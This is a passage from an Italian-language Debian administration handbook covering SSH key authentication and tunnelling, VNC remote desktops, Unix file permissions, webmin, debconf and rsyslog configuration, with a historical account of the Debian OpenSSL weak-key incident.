Gli script dei manutentori dei pacchetti Debian, a volte, riavvieranno alcuni servizi per garantire la loro disponibilità o per tenere conto di alcune opzioni. Il comando che controlla un servizio, serviceservizio operazione, non tiene in considerazione i runlevel, presume (erroneamente) che il servizio sia attualmente in uso, e può quindi iniziare delle operazioni errate (avviare un servizio che è stato deliberatamente fermato, o interrompere un servizio che è già stato arrestato, ecc.). Debian ha pertanto introdotto il programma invoke-rc.d: questo programma deve essere utilizzato dagli script del manutentore per eseguire gli script di inizializzazione dei servizi ed eseguirà solo i comandi necessari. Si noti che, contrariamente all'uso comune, il suffisso .d è qui usato nel nome di un programma, e non in una directory.

Infine, init avvia i programmi di controllo per le varie console virtuali (getty). Visualizza un prompt, in attesa di un nome utente, poi esegue login utente per iniziare una sessione.

VOCABOLARIO Console e terminale

I primi computer erano generalmente divisi in diversi componenti molto grandi: il contenitore di memorizzazione e l'unità di elaborazione centrale erano separati dai dispositivi periferici utilizzati dagli operatori per controllarli. Questi facevano parte di un mobile separato, la «console». Questo termine è stato mantenuto, ma il suo significato è cambiato. È diventato più o meno sinonimo di «terminale», essendo una tastiera e uno schermo.

Con lo sviluppo dei computer, i sistemi operativi hanno offerto diverse console virtuali per consentire diverse sessioni indipendenti contemporaneamente, anche se vi è solo una tastiera e uno schermo. La maggior parte dei sistemi GNU/Linux offrono sei console virtuali (in modalità testo), accessibili digitando le combinazioni di tasti da Control+Alt+F1 a Control+Alt+F6 .

Per estensione i termini «console» e «terminale» possono anche riferirsi ad un emulatore di terminale in una sessione grafica X11 (come xterm, gnome-terminal o konsole ).

9.2. Accesso remoto

È essenziale per un amministratore essere in grado di connettersi ad un computer remoto. I server, confinati nella propria stanza, sono raramente dotati di tastiere e monitor permanenti, ma sono connessi alla rete.

FONDAMENTALI Client, server

Un sistema in cui diversi processi comunicano tra loro è spesso descritto con la metafora «clientserver». Il server è il programma che prende le richieste provenienti da un client e le esegue. Il client controlla le operazioni, il server non prende alcuna iniziativa propria.

9.2.1. Accesso remoto sicuro: SSH

Il protocollo SSH (Secure SHell) è stato progettato tenendo a mente sicurezza ed affidabilità. Le connessioni con SSH sono sicure: il partner è autenticato e tutti gli scambi di dati sono cifrati.

CULTURA Telnet e RSH sono obsoleti

Prima di SSH, Telnet e RSH erano i principali strumenti usati per fare il login da remoto. Sono ora per la maggior parte obsoleti e non dovrebbero essere usati anche se Debian li fornisce ancora.

VOCABOLARIO Autenticazione, cifratura

Quando è necessario dare ad un client la possibilità di condurre o attivare azioni su un server, la sicurezza è importante. È necessario verificare l'identità del client, questa è l'autenticazione. Questa identità di solito consiste in una password che deve essere tenuta segreta, o qualsiasi altro client potrebbe ottenere la password. Questo è lo scopo della cifratura, che è una forma di codifica che consente a due sistemi di comunicare informazioni riservate su un canale pubblico, proteggendole dall'essere leggibili ad altri.

L'autenticazione e la cifratura sono spesso menzionate insieme, sia perché esse sono spesso usate insieme, sia perché sono di solito implementate con simili concetti matematici.

SSH offre anche due servizi di trasferimento di file. scp è uno strumento a riga di comando che può essere utilizzato come cp, tranne che qualsiasi percorso a un altro computer è fatto precedere dal nome della macchina, seguito da due punti («:»).

$ file macchina scp:/tmp/

sftp è un comando interattivo, simile a ftp. In una singola sessione, sftp è in grado di trasferire più file, ed è possibile usarlo per manipolare i file remoti (eliminare, rinominare, modificare i permessi, ecc.).

Debian utilizza OpenSSH, una versione libera di SSH, mantenuta dal progetto OpenBSD (un sistema operativo libero basato sul kernel BSD, incentrato sulla sicurezza) e fork del software originale SSH sviluppato dalla società finlandese SSH Communications Security Corp. Questa società ha inizialmente sviluppato SSH come software libero, ma alla fine ha deciso di continuare il suo sviluppo sotto una licenza proprietaria. Il progetto OpenBSD quindi ha creato OpenSSH per mantenere una versione free di SSH.

FONDAMENTALIFork

Un «fork», in materia di software, significa un nuovo progetto che inizia come un clone di un progetto esistente, e che compete con esso. Da lì in poi, entrambi i software di solito divergono rapidamente in termini di nuovi sviluppi. Un fork è spesso il risultato di disaccordi all'interno del team di sviluppo.

L'opzione di fare il fork di un progetto è una diretta conseguenza della natura stessa del software libero, un fork è un evento sano quando permette la continuazione di un progetto come software libero (per esempio in caso di cambiamenti nella licenza). Un fork derivante da divergenze tecniche o personali è spesso uno spreco di risorse umane; un'altra soluzione sarebbe preferibile. Fusioni di due progetti che in precedenza hanno attraversato un fork non sono inedite.

OpenSSH è diviso in due pacchetti: la parte client è nel pacchetto openssh-client, mentre il server è nel pacchetto openssh-server. Il metapacchetto ssh dipende da entrambe le parti e facilita l'installazione di entrambi (apt install ssh).

9.2.1.1. Autenticazione basata su chiave

Ogni volta che qualcuno si collega tramite SSH il server remoto richiede una password per autenticare l'utente. Questo può essere problematico se si vuole automatizzare una connessione, o se si utilizza uno strumento che richiede collegamenti frequenti su SSH. È per questo che SSH offre un sistema di autenticazione basato su chiave.

L'utente genera una coppia di chiavi sulla macchina client con ssh-keygen -t rsa; la chiave pubblica è conservata in ~/.ssh/id_rsa.pub, mentre la corrispondente chiave privata è conservata in ~/.ssh/id_rsa. Successivamente l'utente usa ssh-copy-id server per aggiungere la propria chiave pubblica nel file ~/.ssh/authorized_keys presente sul server. Se la chiave privata non è stata protetta con una «passphrase» al momento della sua creazione, tutti gli accessi successivi sul server funzioneranno senza una password. In caso contrario, la chiave privata dovrà essere decifrata ogni volta inserendo la «passphrase». Fortunatamente, ssh-agent ci permette di mantenere in memoria le chiavi private in modo da non dover reinserire continuamente la password. Per questo, è sufficiente utilizzare ssh-add (una volta per ogni sessione di lavoro), a condizione che la sessione sia già associata ad un'istanza funzionante di ssh-agent. Debian la attiva come impostazione predefinita nelle sessioni grafiche, ma è possibile disattivare questo comportamento cambiando /etc/X11/Xsession.options. Per una sessione della console, è possibile avviarla manualmente tramite eval $(ssh-agent).

SICUREZZA Protezione della chiave privata

Chi ha la chiave privata può effettuare il login sull'account così configurato. Per questo motivo l'accesso alla chiave privata viene protetto da una «passphrase». Chi viene in possesso di una copia di una chiave privata (ad esempio, ~/.ssh/id_rsa) deve comunque sapere questa frase per essere in grado di utilizzarla. Questa protezione aggiuntiva non è, tuttavia, inespugnabile, e se si pensa che questo file è stato compromesso, è meglio disabilitare la chiave sui computer in cui è stata installata (rimuovendola dal file authorized_keys) e sostituendola con una nuova chiave generata.

CULTURA Problemi di OpenSSL in Debian Etch

La libreria OpenSSL, come inizialmente fornita in Debian Etch, aveva un problema serio nel suo generatore di numeri casuali (RNG). Infatti, il manutentore Debian ha fatto un cambiamento in modo che le applicazioni che la usavano non generassero più avvertimenti quando erano analizzati con strumenti di test di memoria, come valgrind. Sfortunatamente, questo cambiamento comportava anche che la RNG impiegasse una sola fonte di entropia, corrispondente al numero di processo (PID) i cui possibili 32.000 valori non offrono abbastanza casualità.

→ https://www.debian.org/security/2008/dsa-1571

Nello specifico, quando OpenSSL veniva impiegato per generare una chiave, produceva sempre una chiave all'interno di un insieme noto di centinaia di migliaia di chiavi (32.000 moltiplicato per un piccolo numero di lunghezze di chiave). Questo riguardava le chiavi SSH, le chiavi SSL ed i certificati X.509 utilizzati da numerose applicazioni, come ad esempio OpenVPN. Un cracker doveva quindi solo provare tutte le chiavi per ottenere un accesso non autorizzato. Per ridurre l'impatto del problema, il demone SSH è stato modificato in modo da rifiutare le chiavi problematiche che sono elencate nei pacchetti openssh-blacklist e openssh-blacklist-extra. Inoltre, il comando ssh-vulnkey consente l'identificazione delle chiavi eventualmente compromesse nel sistema.

Un'analisi più approfondita di questo incidente mette in luce che è il risultato di molteplici (piccoli) problemi, sia all'interno del progetto OpenSSL, che con il responsabile del paccheto Debian. Una libreria ampiamente utilizzata come OpenSSL non dovrebbe — senza modifiche — generare avvisi quando viene testata da valgrind. Inoltre, il codice (in particolare quelle parti tanto delicate come la RNG) dovrebbe essere commentate meglio per evitare questi errori. Da parte sua il reponsabile del pacchetto Debian, vuole confermare le sue modifiche dagli sviluppatori di OpenSSL, ma le ha semplicemente spiegate senza fornire loro la corrispondente patch da revisionare ed ha omesso di mesionare il suo ruolo all'interno di Debian. Infine, le scelte di manutenzioneerano sub-attimali: le modifiche fatte al codice originale non sono state chiaramente documentate; tutte le modifiche sono effettivamente memorizzate in un repository Subversion, ma sono finite tutte concentrate in una singola patch durante la creazione del pacchetto sorgente.

In queste condizioni è difficile trovare le misure correttive per evitare il ripetersi di questi incidenti. La lezione da trarre è che ogni divergenza che Debian introduce nel software originale deve essere giustificata, documentata, presentata nel progetto principale, quando possibile, e ampiamente pubblicizzata. È in base a questa prospettiva che sono stati sviluppati il nuovo formato dei pacchetti sorgente ("3.0 (quilt)") ed i servizi web dei sorgenti Debian.

→ https://sources.debian.org

9.2.1.2. Utilizzo di applicazioni X11 remote

Il protocollo SSH consente la trasmissione dei dati grafici (sessione «X11», dal nome del più diffuso sistema grafico in Unix), il server mantiene un canale dedicato per tali dati. In particolare, un programma grafico eseguito da remoto può essere visualizzato sul server X.org dello schermo locale e l'intera sessione (ingresso e visualizzazione) sarà sicura. Poiché questa funzionalità consente alle applicazioni remote di interferire con il sistema locale, è disabilitata in modo predefinito. È possibile abilitare questa funzionalità specificando X11Forwarding yes nel file di configurazione del server (/etc/ssh/sshd_config). Infine, l'utente deve anche richiederla aggiungendo l'opzione -X alla riga di comando di ssh.

9.2.1.3. Creazione di tunnel cifrati con il port forwarding

Le opzioni -R e -L consentono a ssh di creare «tunnel cifrati» tra due macchine, inoltrando in modo sicuro una porta TCP locale (vedere il riquadro FONDAMENTALI TCP/UDP) ad un computer remoto o viceversa.

VOCABOLARIO Tunnel

Internet, e la maggior parte delle LAN che vi sono collegate, opera in modalità a pacchetto e non in modalità connessa, il che significa che un pacchetto emesso da un computer verso un altro verrà fermato in vari router intermedi per trovare la strada verso la destinazione. È ancora possibile simulare il funzionamento in collegamento in cui il flusso è racchiuso in pacchetti IP normali. Questi pacchetti seguono il loro percorso abituale, ma il flusso viene ricostruito invariato a destinazione. Questo viene chiamato «tunnel», analogo ad una galleria stradale in cui i veicoli viaggiano direttamente dall'ingresso (input) all'uscita (output) senza incontrare alcun incrocio, al contrario di un percorso sulla superficie che comporterebbe incroci e cambiamenti di direzione.

È possibile utilizzare questa opportunità per aggiungere la cifratura al tunnel: il flusso che scorre attraverso di esso è quindi irriconoscibile dall'esterno, ma viene riportato alla forma decifrata all'uscita del tunnel.

ssh -L 8000:server:25 intermediario stabilisce una sessione SSH con l'host intermediario e ascolta sulla porta locale 8000 (vedere Figura 9.3, «Inoltro di una porta locale con SSH»). Per ogni connessione stabilita su questa porta, ssh avvierà una connessione dal computer intermediario alla porta 25 sul server legando insieme entrambe le connessioni.

Anche ssh -R 8000:server:25 intermediario stabilisce una sessione SSH al computer intermediario, ma è in questa macchina che ssh è in ascolto sulla porta 8000 (vedere Figura 9.4, «Inoltro di una porta remota con SSH»). Ogni connessione stabilita sulla porta farà sì che ssh aprirà una connessione dalla macchina locale alla porta 25 del server legando insieme entrambe le connessioni.

In entrambi i casi, le connessioni sono realizzate sulla porta 25 dell'host server, e passano attraverso il tunnel SSH stabilito tra la macchina locale e la macchina intermediario. Nel primo caso, l'ingresso del tunnel è locale sulla porta 8000, ed i dati si muovono verso la macchina intermediario prima di essere diretti al server sulla rete «pubblica». Nel secondo caso, l'ingresso e l'uscita del tunnel sono invertiti, l'ingresso è la porta 8000 sulla macchina intermediario, l'uscita è sulla macchina locale, ed i dati vengono poi indirizzati al server. In pratica, il server è di solito o la macchina locale o l'intermediario. In questo modo SSH rende sicura la connessione da un'estremità all'altra.

Figura 9.3. Inoltro di una porta locale con SSH

Figura 9.4. Inoltro di una porta remota con SSH

9.2.2. Utilizzo di desktop remoti grafici

VNC (Virtual Network Computing) permette l'accesso remoto a desktop grafici.

Questo strumento è usato soprattutto per l'assistenza tecnica; l'amministratore può visualizzare gli errori che l'utente si trova ad affrontare, e mostrargli la cosa corretta da fare, senza dover essere fisicamente presente.

In primo luogo, l'utente deve autorizzare la condivisione della sessione. L'ambiente desktop grafico GNOME da Jessie in poi include questa opzione nel suo pannello di configurazione (contrariamente alle precedenti versioni di Debian, nelle quali l'utente deve installare ed utilizzare vino). Plasma richiede ancora l'uso di krfb per consentire la condivisione di una sessione esistente tramite VNC. Per gli altri ambienti desktop grafici, il comando x11vnc (dal pacchetto Debian con lo stesso nome) serve allo stesso scopo; è possibile renderlo disponibile per l'utente con un'icona esplicita.

Quando la sessione grafica è messa a disposizione da VNC, l'amministratore deve connettersi con un client VNC. GNOME fornisce vinagre e remmina per questo scopo, mentre KDE include krdc (nel menu K → Internet → Client per connessione a desktop remoto). Ci sono altri client VNC che utilizzano la riga di comando, come ad esempio xvnc4viewer nel pacchetto Debian con lo stesso nome. Una volta connesso, l'amministratore può vedere cosa sta succedendo, lavorare sulla macchina in remoto e mostrare all'utente come procedere.

SICUREZZA VNC su SSH

Se si desidera connettersi a VNC, e non si desidera che i dati siano trasmessi in chiaro sulla rete, è possibile incapsulare i dati in un tunnel SSH (vedere la Sezione 9.2.1.3, «Creazione di tunnel cifrati con il port forwarding»). È sufficiente sapere che VNC usa la porta 5900 per impostazione predefinita per il primo schermo (chiamato «localhost: 0»), 5901 per il secondo (chiamato «localhost: 1»), ecc.

Il comando ssh -L localhost:5901:localhost:5900 -N -T macchina crea un tunnel tra porta locale 5901 nell'interfaccia localhost e la porta 5900 della macchina host. Il primo «localhost» limita SSH in modo che ascolti solo sull'interfaccia della macchina locale. Il secondo «localhost» indica l'interfaccia sul computer remoto che riceverà il traffico di rete in entrata su «localhost:5901». Così vncviewer localhost:1 collegherà il client VNC allo schermo remoto, anche se si indica il nome della macchina locale.

Quando la sessione VNC è chiusa, bisogna ricordarsi di chiudere il tunnel, uscendo anche dalla corrispondente sessione SSH.

FONDAMENTALI Display manager

gdm3, kdm, lightdm e xdm sono display manager. Assumono il controllo dell'interfaccia grafica poco dopo l'avvio in modo da fornire all'utente una schermata di accesso. Una volta che l'utente si è connesso, vengono eseguiti i programmi necessari per avviare una sessione grafica di lavoro.

VNC funziona anche per utenti mobili, o dirigenti di società, che a volte hanno bisogno di effettuare il login da casa per accedere a un desktop remoto simile a quello che utilizzano sul posto di lavoro. La configurazione di tale servizio è più complicata: per prima cosa si installa il pacchetto vnc4server, si modifica la configurazione del display manager in modo da accettare richieste XDMCP query (per gdm3, ciò può essere fatto aggiungendo Enable=true nella sezione «xdmcp» di /etc/gdm3/daemon.conf) e infine si avvia il server VNC con inetd in modo che una sessione venga avviata automaticamente quando un utente tenta di effettuare l'accesso. Ad esempio, si può aggiungere questa riga a /etc/inetd.conf:

5950  stream  tcp  nowait  nobody.tty  /usr/bin/Xvnc Xvnc -inetd -query localhost -once -geometry 1024x768 -depth 16 securitytypes=none

Deviare le connessioni in entrata al display manager risolve il problema dell'autenticazione, in quanto solo gli utenti con account locali supereranno la schermata di accesso di gdm3 (o l'equivalente di kdm, xdm, ecc.). Poiché questo sistema consente più connessioni simultanee senza alcun problema (se il server è abbastanza potente), può anche essere utilizzato per fornire desktop completi per gli utenti mobili (o per sistemi desktop meno potenti, configurati come thin client). Gli utenti devono semplicemente accedere allo schermo del server con vncviewer server:50, perché la porta utilizzata è 5950.

9.3. Gestione dei permessi

Linux è decisamente un sistema multi-utente, per cui è necessario fornire un sistema di permessi per il controllo delle operazioni autorizzate su file e directory, che comprende tutte le risorse di sistema e i device (in un sistema Unix, qualsiasi dispositivo è rappresentato da un file o directory). Questo principio è comune a tutti i sistemi Unix, ma un promemoria è sempre utile, soprattutto perché ci sono alcuni utilizzi avanzati interessanti e relativamente sconosciuti.

Ogni file o directory ha permessi specifici per tre categorie di utenti:

- il proprietario (simboleggiato dalla lettera u di «user»);

- il gruppo proprietario (simboleggiato dalla lettera g di «group»), in rappresentanza di tutti i membri del gruppo;

- gli altri (simboleggiati dalla lettera o di «other»).

Si possono combinare tre tipi di diritti:

- lettura (simboleggiata dalla lettera r di «read»);

- scrittura (o modifica, simboleggiata dalla lettera w di «write»);

- esecuzione (simboleggiata dalla lettera x come in «eXecute»).

Nel caso di un file, questi diritti sono di facile comprensione: l'accesso in lettura permette di leggerne il contenuto (incluso farne una copia), l'accesso in scrittura permette di cambiarlo, e l'accesso in esecuzione permette di eseguirlo (che funziona solo se si tratta di un programma).

SICUREZZA eseguibili setuid e setgid

Due diritti particolari sono rilevanti per i file eseguibili: setuid e setgid (simboleggiati con la lettera «s»). Si noti che spesso si parla di «bit», poiché ciascuno di questi valori booleani può essere rappresentato da uno 0 o un 1. Questi due diritti consentono a qualsiasi utente di eseguire il programma con i diritti del proprietario o del gruppo, rispettivamente. Questo meccanismo garantisce l'accesso alle funzionalità che richiedono permessi di livello superiore rispetto a quelli che l'utente avrebbe di solito.

Poiché un programma con setuid root è sistematicamente eseguito con l'identità del superutente, è molto importante assicurarsi che sia sicuro e affidabile. Infatti, un utente che riuscisse a sovvertirlo per invocare un comando di sua scelta potrebbe poi impersonare l'utente root ed avere tutti i diritti sul sistema.

Una directory è gestita in modo diverso. L'accesso in lettura dà il diritto di consultare l'elenco delle sue voci (file e directory), l'accesso in scrittura permette di creare o eliminare file, mentre l'accesso in esecuzione permette di attraversarla (soprattutto di andarvi con il comando cd). Essere in grado di attraversare una directory senza essere in grado di leggerla dà il permesso di accedere alle voci al suo interno di cui si conosce il nome, ma non di trovarle senza sapere che esistono o sotto quale nome esatto.

SICUREZZA directory setgid e sticky bit

Il bit setgid vale anche per le directory. Qualsiasi elemento appena creato in tali directory viene assegnato automaticamente al gruppo proprietario della directory genitore, invece di ereditare il gruppo principale del creatore come al solito. Questa configurazione evita che l'utente debba cambiare il suo gruppo principale (con il comando newgrp) quando lavora in un albero di file condiviso tra più utenti dello stesso gruppo dedicato.

Lo «sticky» bit (simboleggiato dalla lettera «t») è un permesso che è utile solo nelle directory. È particolarmente utilizzato per le directory temporanee in cui tutti hanno accesso in scrittura (come /tmp/): esso limita l'eliminazione di file in modo che solo il loro proprietario (o il proprietario della directory genitore) possa farlo. In mancanza di questo, tutti potrebbero eliminare i file di altri utenti in /tmp/.

Tre comandi controllano i permessi associati ad un file:

- chown utente file cambia il proprietario del file;

- chgrp gruppo file cambia il gruppo proprietario;

- chmod permessi file cambia i permessi per il file.

Ci sono due modi di rappresentare i permessi. Tra questi, la rappresentazione simbolica è probabilmente la più facile da capire e ricordare. Utilizza i simboli lettera descritti in precedenza. È possibile definire i permessi per ogni categoria di utenti (u/g/o), impostandoli in modo esplicito (con = ), aggiungendone (+) o sottraendone (-). Così la formula u=rwx,g+rw,o-r conferisce al proprietario i permessi di lettura, scrittura ed esecuzione, aggiunge i permessi di lettura e scrittura per il gruppo proprietario, e rimuove i diritti di lettura per altri utenti. I permessi non alterati con le aggiunte o sottrazioni fatte da tale comando non vengono modificati. La lettera a, per «all» (tutti), copre tutte le tre categorie di utenti, così che a=rx garantisce a tutte e tre le categorie gli stessi diritti (lettura ed esecuzione, ma non scrittura).

La rappresentazione numerica (ottale) associa ogni permesso ad un valore: 4 per la lettura, 2 per la scrittura e 1 per l'esecuzione. Ogni combinazione di permessi viene associata con la somma delle cifre. I valori vengono quindi assegnati alle diverse categorie di utenti mettendoli in fila nell'ordine consueto (proprietario, gruppo, altri).

Ad esempio, il comando chmod 754 file imposta i seguenti permessi: lettura, scrittura ed esecuzione per il proprietario (perché 7 = 4 + 2 + 1), lettura ed esecuzione per il gruppo (perché 5 = 4 + 1), sola lettura per gli altri. Il numero 0 significa che non si hanno permessi; così chmod 600 file permette la lettura/scrittura per il proprietario, e nessun diritto per chiunque altro. Le combinazioni di permessi più frequenti sono 755 per le directory e i file eseguibili, e 644 per i file di dati.

Per rappresentare i permessi speciali, è possibile anteporre una quarta cifra a questo numero in base allo stesso principio, in cui il bit setuid, il bit setgid e lo sticky bit sono rispettivamente 4, 2 e 1. chmod 4754 assocerà il bit setuid con i permessi descritti in precedenza.

Si noti che l'uso della notazione ottale consente solo di impostare tutti i permessi in una sola volta su un file, non è possibile utilizzarla per aggiungere semplicemente un nuovo permesso, come l'accesso in lettura per il gruppo proprietario, in quanto è necessario tener conto dei diritti esistenti e calcolare il nuovo valore numerico corrispondente.

SUGGERIMENTO Operazioni ricorsive

A volte è necessario cambiare i permessi per un intero albero di file. Tutti i comandi sopra descritti hanno l'opzione -R per operare ricorsivamente in sotto-directory.

La distinzione tra le directory ed i file a volte causa problemi con le operazioni ricorsive. Ecco perché è stata introdotta la lettera «X» nella rappresentazione simbolica dei permessi. Essa rappresenta un permesso di esecuzione che si applica solo alle directory (e non ai file privi di tale diritto). Così, chmod -R a+X directory aggiungerà i permessi di esecuzione per tutte le categorie di utenti (a) solo per tutte le sotto-directory e tutti i file che hanno già i diritti di esecuzione per almeno una categoria di utenti (anche se solo per il proprietario).

SUGGERIMENTO Cambiare utente e gruppo

Spesso si desidera cambiare il gruppo di un file nello stesso momento in cui si cambia il proprietario. Il comando chown ha una sintassi speciale a questo scopo: chown utente:gruppo file

APPROFONDIMENTIumask

Quando un'applicazione crea un file, assegna i permessi indicativi, sapendo che il sistema rimuove automaticamente alcuni permessi, grazie al comando umask. Se si digta umask in una shell, si vedrà una maschera come 0022. Questa è semplicemente una rappresentazione ottale dei diritti automaticamente rimossi (in questo caso, il diritto di scrittura per il gruppo e altri utenti).

Se gli si fornisce un nuovo valore ottale, il comando umask modifica la maschera. Utilizzato in un file di inizializzazione della shell (per esempio, ~/.bash_profile), cambierà effettivamente la maschera predefinita per le sessioni di lavoro dell'utente.

9.4. Interfacce di amministrazione

L'utilizzo di un'interfaccia grafica per l'amministrazione è interessante per diversi motivi. Un amministratore non deve necessariamente conoscere tutti i dettagli di configurazione per tutti i servizi, e non sempre ha il tempo per andare a cercare documentazione in materia. Un'interfaccia grafica per l'amministrazione può quindi accelerare la messa in opera di un nuovo servizio. Può anche semplificare la configurazione di quei servizi che sono difficili da configurare.

Tale interfaccia è solo di aiuto, e non un fine in sé. In ogni caso, l'amministratore deve padroneggiare il suo comportamento al fine di capire e risolvere eventuali problemi.

Dal momento che nessuna interfaccia è perfetta, si può essere tentati di provare diverse soluzioni. Questo è da evitare per quanto possibile, dal momento che i diversi strumenti sono a volte incompatibili tra di loro. Anche se tutti mirano ad essere molto flessibili e cercano di adottare il file di configurazione come unico riferimento, non sono sempre in grado di integrare cambiamenti esterni.

9.4.1. Amministrare tramite un'interfaccia Web: webmin

Questa è, senza dubbio, una delle interfacce di amministrazione di maggior successo. Si tratta di un sistema modulare gestito attraverso un browser web, che copre una vasta gamma di aree e strumenti. Inoltre, è internazionalizzato e disponibile in molte lingue.

Figura 9.5. Cruscotto Webmin

Purtroppo, webmin non fa più parte di Debian. Il suo manutentore Debian, Jaldhar H. Vyas, ha rimosso i pacchetti che ha creato, perché non aveva più il tempo necessario per mantenerli a un livello qualitativo accettabile. Nessuno ha ufficialmente preso il suo posto, così in Buster il pacchetto webmin non è presente.

Esiste, comunque, un pacchetto non ufficiale distribuito sul sito web webmin.com. Contrariamente ai pacchetti Debian originali, questo pacchetto è monolitico, tutti i suoi moduli di configurazione sono installati e attivati in modo predefinito, anche se il servizio corrispondente non è installato sulla macchina.

SICUREZZA Cambiare la password di root

Per il primo accesso, l'identificazione è basata sul nome utente root e la sua password abituale. Si raccomanda di modificare la password utilizzata per webmin il più presto possibile, in modo che se venisse compromessa, la password di root del server non sarà coinvolta, anche se questo conferisce importanti diritti amministrativi per la macchina.

Attenzione! Dato che webmin ha così tante funzionalità, un utente malintenzionato accedendo potrebbe compromettere la sicurezza dell'intero sistema. In generale, questo tipo di interfacce non sono raccomandate per quei sistemi importanti con forti vincoli di sicurezza (firewall, server sensibili, ecc.).

Webmin viene usato tramite un'interfaccia web, ma non richiede che Apache sia installato. In sostanza, questo software dispone di un proprio mini-server web integrato. Questo server è in ascolto in modo predefinito sulla porta 10000 e accetta connessioni HTTP sicure.

I moduli inclusi coprono una vasta gamma di servizi, tra cui:

- tutti i servizi di base: creazione di utenti e gruppi, gestione dei file crontab, script di init, visualizzazione dei log, ecc.

- bind: configurazione del server DNS (servizio dei nomi);

- postfix: configurazione del server SMTP (e-mail);

- inetd: configurazione del super-server inetd;

- quota: gestione delle quote degli utenti;

- dhcpd: configurazione del server DHCP;

- proftpd: configurazione del server FTP;

- samba: configurazione del server di file Samba;

- software: installazione o rimozione di software di pacchetti Debian e aggiornamenti di sistema.

L'interfaccia di amministrazione è disponibile in un browser web all'URL https://localhost:10000. Attenzione! Non tutti i moduli sono direttamente utilizzabili. A volte devono essere configurati specificando i percorsi dei file di configurazione corrispondenti e di alcuni file eseguibili (programma). Spesso il sistema chiedere all'utente nel caso non riesca ad attivare un modulo richiesto.

ALTERNATIVA Centro di controllo di GNOME

Il progetto GNOME fornisce anche diverse interfacce di amministrazione che sono solitamente accessibili attraverso la voce «Impostazioni» nel menu utente in alto a destra. gnome-control-center è il programma principale che le riunisce tutte, ma molti degli strumenti di configurazione a livello di intero sistema sono in effetti forniti da altri pacchetti (accountsservice, system-config-printer, ecc.). Anche se facili da usare, queste applicazioni coprono solo un numero limitato di servizi di base: la gestione degli utenti, la configurazione di data e ora, la configurazione della rete, della stampa e così via.

9.4.2. Configurazione dei pacchetti: debconf

Molti pacchetti vengono configurati automaticamente dopo aver posto alcune domande durante l'installazione attraverso lo strumento Debconf. Questi pacchetti possono essere riconfigurati mediante l'esecuzione di dpkg-reconfigure pacchetto.

Nella maggior parte dei casi, queste impostazioni sono molto semplici, solo alcune importanti variabili nel file di configurazione vengono modificate. Queste variabili sono spesso raggruppate tra due «righe di demarcazione» in modo che la riconfigurazione del pacchetto influisca solo sull'area racchiusa. In altri casi, la riconfigurazione non cambierà nulla se lo script rileva una modifica manuale del file di configurazione, al fine di conservare questi interventi umani (perché lo script non può garantire che le sue proprie modifiche non ostacoleranno le impostazioni esistenti).

DEBIAN POLICY Preservare le modifiche

La Debian Policy prevede espressamente che dovrebbe essere fatto tutto il possibile per mantenere le modifiche manuali apportate a un file di configurazione, perciò sempre più script prendono le dovute precauzioni durante la modifica dei file di configurazione. Il principio generale è semplice: lo script apporta modifiche solo se conosce lo stato del file di configurazione, il quale viene verificato confrontando il checksum del file con quello dell'ultimo file generato automaticamente. Se sono uguali, lo script è autorizzato a modificare il file di configurazione. In caso contrario, determina che il file è stato modificato e chiede quale comportamento deve adottare (installare il nuovo file, salvare il vecchio file, o cercare di integrare i nuovi cambiamenti con il file esistente). Questo principio di precauzione è stato a lungo specifico di Debian, ma altre distribuzioni hanno gradualmente cominciato ad abbracciarlo.

Il programma ucf (dal pacchetto Debian omonimo) può essere utilizzato per implementare un tale comportamento.

9.5. syslog, eventi di sistema

9.5.1. Principi e meccanismi

Il demone rsyslogd è responsabile della raccolta dei messaggi di servizio provenienti da applicazioni e dal kernel, distribuendoli poi nei file di log (di solito memorizzati nella directory /var/log/). Obbedisce al file di configurazione /etc/rsyslog.conf.

Ciascun messaggio di log è associato a un sottosistema di applicazioni (denominata «facility» nella documentazione):

- auth e authpriv: per l'autenticazione;

- cron: proviene da servizi di pianificazione delle attività, cron e atd;

- daemon: interessa un demone senza alcuna classificazione speciale (DNS, NTP, ecc.);

- ftp: riguarda il server FTP;

- kern: messaggio proveniente dal kernel;

- lpr: deriva dal sottosistema di stampa;

- mail: proviene dal sottosistema per la posta elettronica;

- news: messaggio del sottosistema Usenet (specialmente da un server NNTP, Network News Transfer Protocol, che gestisce i newsgroup);

- syslog: messaggi dal server syslogd stesso;

- user: messaggi utente (generico);

- uucp: messaggi dal server UUCP (Unix to Unix Copy Program, un vecchio protocollo utilizzato in particolare per distribuire i messaggi di posta elettronica);

- da local0 a local7: riservato per l'uso locale.

Ogni messaggio è anche associato a un livello di priorità. Ecco l'elenco in ordine decrescente:

- emerg: «Aiuto!» C'è un'emergenza, il sistema è probabilmente inutilizzabile.

- alert: affrettarsi, ogni ritardo può essere pericoloso, bisogna agire immediatamente;

- crit: le condizioni sono critiche;

- err: errore;

- warn: avvertimento (potenziale errore);

- notice: le condizioni sono normali, ma il messaggio è importante;

- info: messaggio informativo;

- debug: messaggio di debug.

9.5.2. Il file di configurazione

La sintassi del file /etc/rsyslog.conf viene specificata nella pagina di manuale rsyslog.conf(5), ma c'è anche la documentazione HTML disponibile nel pacchetto rsyslog-doc (/usr/share/doc/rsyslog-doc/html/index.html). Il principio generale è quello di scrivere coppie di «selettori» e «azioni». Il selettore definisce tutti i messaggi rilevanti, e le azioni descrivono come trattarli.

9.5.2.1. Sintassi del selettore

Il selettore è un elenco separato da punti e virgola di coppie sottosistema.priorità (esempio: auth.notice;mail.info). Un asterisco può rappresentare tutti i sottosistemi o tutte le priorità (esempi: *.alert o mail.*). Vari sottosistemi possono essere raggruppati, separandoli con una virgola (esempio: auth,mail.info). La priorità indicata copre anche i messaggi di priorità uguale o superiore: così auth.alert indica i messaggi del sottosistema auth con priorità alert o emerg. Se fatta precedere da un punto esclamativo (!), indica il contrario, in altre parole le priorità strettamente inferiori; auth.!notice, perciò, indica i messaggi emessi da auth con priorità info odebug. Se preceduto da un segno di uguale (=) corrisponde solo ed esclusivamente alla priorità indicata (auth.=notice riguarda solo i messaggi provenienti da auth con priorità notice).

Ogni elemento della lista sul selettore sovrascrive gli elementi precedenti. È così possibile limitare un insieme o escludere alcuni elementi da esso. Per esempio, kern.info;kern.!err significa i messaggi dal kernel con priorità compresa tra info e warn. La priorità none indica l'insieme vuoto (nessuna priorità), e può servire per escludere un sottosistema da un insieme di messaggi. Perciò, *.crit;kern.none indica tutti i messaggi con priorità uguale o superiore a crit che non provengono dal kernel.

9.5.2.2. Sintassi delle azioni

FONDAMENTALI La pipe con nome, una pipe persistente

